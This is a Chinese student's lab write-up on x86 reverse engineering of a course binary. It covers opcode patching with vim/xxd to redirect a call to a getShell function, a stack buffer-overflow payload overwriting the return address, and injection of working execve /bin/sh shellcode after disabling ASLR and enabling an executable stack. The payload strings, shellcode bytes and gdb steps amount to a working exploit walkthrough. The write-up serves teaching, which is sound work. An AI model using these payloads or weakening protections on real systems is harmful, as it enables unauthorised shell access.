网络对抗实验一 PC平台逆向破解(5)M
实验一 PC平台逆向破解(5)M
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1) NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2) JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3) JE:条件转移指令,如果相等则跳转。(机器码:74)
(4) JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5) CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.掌握反汇编与十六进制编程器
(1) 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。
具体步骤如下:
输入命令:vi pwn1
'看可执行文件内容,为ASCII码形式显示;
输入:%!xxd
将显示模式切换为16进制模式;
进行相关操作后,输入:%!xxd -r
转换16进制为为ASCII码形式。
(2) 之前在云班课《机械指令与汇编语言》一课中提到反汇编,于是进行如下操作对老师所提供的pwn1进行反汇编操作。
具体步骤如下:
输入命令:objdump –d pwn1
objdump是gcc工具,用来查看编译后目标文件的组成
3、能正确修改机器指令改变程序执行流程
(1)在完成了第二步的反汇编操作后,我们进行直接修改程序机器指令,改变程序执行流程的操作
(2)首先我们找到main主函数,在其中汇编语言里找到call 8048491<foo>
此条汇编指令为调用位于8048491处的foo函数,此条对应的机械指令为e8 d7 ff ff ff
-
根据实验指导,我们需要让main函数中的call指令调用foo函数变为调用getshell函数,所以我们需要对其机械指令
e8 d7 ff ff ff
进行修改,e8在机械指令上有着跳转的含义 -
在这里我们需要搞清楚一个概念,call指令是怎么从
e8 d7 ff ff ff
这条指令跳转到8048491
这一地址的。 -
因为
d7 ff ff ff
是补码,且求原码顺序要从右到左,因为都是f所以省略,d7的原码为29,故原码为-0X29。而call指令的跳转地址起始是下条指令的地址,在此处为80484ba
。所以计算过程为80484ba- 0X29 = 8048491
这样就搞明白了跳转的原理,我们就可以逆向操作使其跳转到我们需要的地址了。 -
由图我们可以知道,
getShell
函数的地址为804847d
,故地址数为80484ba-804847d=0X3d
,0X3d的补码为C3,故指令应该改为C3 ff ff ff
(3) 原理搞清楚之后我们就可以对文件进行修改,在此我将文件备份为pwn2进行下一步的操作。
(4)在vim pwn2
后发现乱码,摁下Esc后输入:%!xxd
,将其转换为16进制。
查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后再使用:%!xxd -r
转换为原格式后保存并退出。
(5)使用objdump –d pwn2
对pwn2进行反汇编,检查call指令是否正常调用getShell
(6)我们运行一下pwn2,发现会得到shell提示符,证明我们的修改成功使得call指令跳转到了getshell这个函数,得到了我们想要的结果
4.能正确构造payload进行bof攻击
- 首先我们要知道一个概念:call指令的分解
call指令可以分解为两步
push eip
jump 地址
当执行call指令时,先要将返回地址eip压入栈中,然后跳转到函数入口。eip保
存的是call下一条指令的地址,当调用结束后,程序通过这个地址进行返回。
-
其次是缓冲区溢出的相关知识
根据所学知识,我们知道foo函数留出了“0X1c”的缓冲区,main函数中eip中装入返回地址“80484ba”
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址。
若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,触发getShell函数:
具体操作如下:
(1)验证猜想:首先输入gdb pwn1
,输入‘r’运行,现在我们构造一个40位的字符串
“1111111122222222333333334444444412345678”观察结果。
(2)其次在gbd后面输入r(run),查看运行结果
我们看到出现了Segmentation fault 这样说明程序运行不了
(3)通过输入info r打印出程序寄存器的数值。在途中我们可以看到eip的值为0x34333231即我们之前输入的1234,所以确定了溢出的数值为第33到36字节,eip已经被覆盖。
(4)构造输入的字符串
-
按照之前我们得知的结果,getShell函数的首地址应该是“0804847d”,现在我们只需输入一个36字节的字符串,并设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。
-
我们在这里输入命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > lyd
接着输入xxd lyd,查看文件产生的地址数是否为“7d8404080”
(5)通过管道符|作为文件的输入,进行缓冲区溢出攻击
我们看到shellcode又被调用出来了,实验成功。
5.注入Shellcode并执行
(1)准备一段Shellcode
shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。
本次实验我们所需要的Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
(2) 攻击思路
Linux下有两种构造攻击的方法
- retaddr+nop+shellcode
- nop+shellcode+retaddr
使输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
返回地址不再是修改为getshell的地址,而是shellcode的地址确定shellcode的位置,一般放在EIP之后
构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS模式
(3)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址
-
输入
execstack -s pwn1
//设置堆栈可执行 -
输入
execstack -q pwn1
-
输入
more /proc/sys/kernel/randomize_va_space
-
输入
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化 -
输入
more /proc/sys/kernel/randomize_va_space
(4)构造payload
-
输入
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(注意这里最后一个字符不是\x0a,不然后续步骤无法完成)
-
注入攻击buf
输入
(cat input_shellcode;cat) | ./pwn1
-
打开另一个终端,先找到pwn1的进程
-
如图可以看出该进程的进程id为“50851”
-
启动gdb,输入
attach 50581
-
输入
disassemble foo
,发现断在“080484ae” -
输入
break *0x080484ae
设置断点
-
之后继续输入c继续!!!!!!这一步一定要在另一个终端摁下回车之前!!!!
-
在另外一个终端按下回车
-
我们看到虽然执行了命令,但是还是出现了错误,根据老师的博客来看,当前栈顶就在这,但是一push就把指令自己给覆盖的原因造成的,所以我们依然是可以通过这次操作找到我们需要更改的地址。
-
回到gdb终端,输入
info r esp
,查看栈顶指针
-
在图中我们可以观察到,1234的地址数为d4dc。在云班课的视频提到过,我们只是相差了4个字节,即应该将原本shellcode里的1234更改为
d4dc+4=d4e0
-
我们修改要注入的字符串,修改为:
perl -e 'print "A" x 32;print "\xe0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
最后终于成功了!!!我们成功调出了shellcode!!!!
6.实验感悟
这次实验与之前的计算机相关实验还是有比较大的不同的,具体体现在之前的实验都是通过宏观的工具去进行,使用c语言等高级语言进行编程,而这次试验我深入了机器层面,通过缓冲区攻击等攻击措施达到了实验目标,也是第一个让我有一种“黑客”的感觉的一门实验。
而且这次实验对我而言是有一定难度的,虽然在别的课程上学习了一些关于汇编语言的相关知识,但是在这次的实验中我发现我学习的并不牢固,包括在数据结构课上学习的堆栈,其相关知识也是忘得一干二净,通过这次实验,通过对在云班课上的教学视频学习以及老师发的指导书等资料,我才对这些相关知识有了一定的掌握,不只是知其然而且知其所以然,更加深入了解了堆栈的溢出是怎么一回事,也提醒了我在以后的编程中更不能忽视程序的安全性,边界条件以及其他可能会危害用户的漏洞。知己知彼才能百战不殆,只有知道对手是怎么做的,是怎么将用户的电脑占为己有的,才能在真正遇到危险以及防范攻击时做出正确的应对方案。
这次实验也让我明白了,有些时候编程并不只是简单的实现功能,更多的应该是做好防护,以绝后患。总的来说,这次实验不仅让我加深了对相关知识的掌握程度,将课本上的抽象的知识付诸实践,而且让我反思我在之前编程的过程中有没有做好各种安全措施,将风险降到更低,让我受益良多。
本文作者:李业达
本文链接:https://www.cnblogs.com/Werido-/p/16038969.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】博客园携手 AI 驱动开发工具商 Chat2DB 推出联合终身会员
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步